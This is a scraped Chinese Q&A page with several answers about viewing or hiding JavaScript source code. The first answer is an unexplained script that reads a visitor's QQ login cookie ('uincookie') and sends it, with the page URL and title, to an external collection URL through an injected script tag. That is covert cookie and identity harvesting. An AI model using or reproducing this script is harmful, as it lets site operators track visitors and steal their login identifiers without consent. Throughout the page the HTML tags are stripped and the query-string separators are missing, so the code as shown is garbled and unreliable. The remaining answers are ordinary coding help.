本文目录一览:
- 1、JS相关 利用JS跨域访问页面源代码
- 2、javascript 高手,为什么查看源代码看不到js写入的代码??
- 3、JS如何查找源代码
- 4、如何防止查看源代码的时候看到js脚本?
- 5、如何看angularjs源代码
- 6、下面这段JS代码,为什么运行以后右键查看源代码,看不到代码已经被屏蔽,而是一行乱码?
JS相关 利用JS跨域访问页面源代码
function isLogin() {
var code = null;
if (typeof(data3) == "undefined") {
code = data0.err;//这里是抓取data0里面err的值;
} else {
code = data3.err;
}
alert(code);//输出抓去结果
if (code == 1007) {
window.clearInterval(isLoginTimeID);
insertFrame();
} else {
var uincookie = GetCookie("uincookie");
if (uincookie != null) {
window.clearInterval(isLoginTimeID);
var title = document.title;
title = encodeURI(title);
title = encodeURI(title);
var url = document.location.href;
url = encodeURI(url);
url = encodeURI(url);
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = window.cfgurl + "?action=saveQQdo=cookieSaveuid=" + window.cfguid + "qq=" + window.cfgqq + "url=" + url + "title=" + title + "uincookie=" + uincookie+"src="+src+"keyword="+keyword+"srcurl="+newurl;
oHead.appendChild(oScript);
} else {
var checkscript = document.getElementById("checkloginscript");
checkscript.parentNode.removeChild(checkscript);
}
}
}
function dynamicLoad() {
var vsrc = ";lc=4d=365633133t=";
var time = new Date().getTime();
vsrc = vsrc + time;
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.id = "checkloginscript";
if (oScript.readyState) {
oScript.onreadystatechange = function() {
if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
oScript.onreadystatechange = null;
isLogin();
}
};
} else {
oScript.onload = function() {
isLogin();
};
}
oScript.src = vsrc;
oHead.appendChild(oScript);
}
dynamicLoad();
javascript 高手,为什么查看源代码看不到js写入的代码??
因为script/script中的javascript是属于客户端脚本,即在客户端运行,服务器端直接把代码下载到你的电脑让浏览器解释显示出来,所以你用浏览器"查看源文件"看到的是从服务器端下载来的代码,并没有经过服务器端编译,所以只能看到JS语句
JS如何查找源代码
html
head
meta http-equiv="Content-type" content="text/html; charset=utf-8"
title远程网页源代码读取/title
style type="text/css"
/* 页面字体样式 */
body, td, input, textarea {
font-family:Arial;
font-size:12px;
}
/style
script type="text/javascript"
//用于创建XMLHttpRequest对象
function createXmlHttp() {
//根据window.XMLHttpRequest对象是否存在使用不同的创建方式
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest(); //FireFox、Opera等浏览器支持的创建方式
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");//IE浏览器支持的创建方式
}
}
//直接通过XMLHttpRequest对象获取远程网页源代码
function getSource() {
var url = document.getElementById("url").value; //获取目标地址信息
//地址为空时提示用户输入
if (url == "") {
alert("请输入网页地址。");
return;
}
document.getElementById("source").value = "正在加载……"; //提示正在加载
createXmlHttp(); //创建XMLHttpRequest对象
xmlHttp.onreadystatechange = writeSource; //设置回调函数
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}
//将远程网页源代码写入页面文字区域
function writeSource() {
if (xmlHttp.readyState == 4) {
document.getElementById("source").value = xmlHttp.responseText;
}
}
/script
/head
body
h1远程网页源代码读取/h1
div
地址:input type="text" id="url"
input type="button" onclick="getSource()" value="获取源码"
/div
textarea rows="10" cols="80" id="source"/textarea
/body
/html
我也是别人那抄的 你试试吧 好的话给我个最佳
如何防止查看源代码的时候看到js脚本?
没办法,因为你的网页是运行在客户端的,如果客户端获取不到网页中所有的元素的话,那还怎么显示网页??
想要客户端获取不到你的js文件是不现实的,最好的方法是重新设计规划js中可能涉及到后台的逻辑处理程序,避免被黑客从中找出破绽从而攻击服务器。
至于js特效,呵呵 web2.0 本来就是互相分享,你敢保证你用的js特效都不是从网上扒的吗?你能使用别人的劳动成果,别人为什么就不可以使用你的呢!
如何看angularjs源代码
大部分JS框架的源代码都可以在Github中找到,angular.js也不例外,要想在Github中找到相应的源代码,步骤如下:
在浏览器中访问github.com
在右上角的搜索框中输入想要查找的源代码(本次输入angular.js),按回车搜索
在查询结果中,一般来说第一个结果就是对应的源代码(angular.js)
点进去后,可以在线查看,亦可以点击绿色下拉按钮“Clone or download”,用git复制地址同步源代码到本地,或者打包成zip压缩包下载都本地。
注意事项:
查阅angular.js源代码需要有一定的javascript基础
建议找一些demo配合查看源代码效果更佳
下面这段JS代码,为什么运行以后右键查看源代码,看不到代码已经被屏蔽,而是一行乱码?
你在onload执行了 clear方法。
代码解释如下:
Source=document.body.innerHTML;
//获取body元素内的内容
document.open();
//打开一个新的空白文档
document.write("代码已经被屏蔽");
//往这个新文档里写内容(你看到的那一行字就是这个,至于乱码是由于页面编码问题)
document.close();
//关闭文档
document.body.innerHTML=Source;
//把原来的内容重新写回body元素中
可能你还是不理解
其实我们右键看到的源代码都不是动态生成的,都是原生的,document.write就是原生的,是往页面里面写内容
但是document.body.innerHTML=Source却是动态生成修改的,所以源代码里是看不到的,是运行中的东西。
希望对你有帮助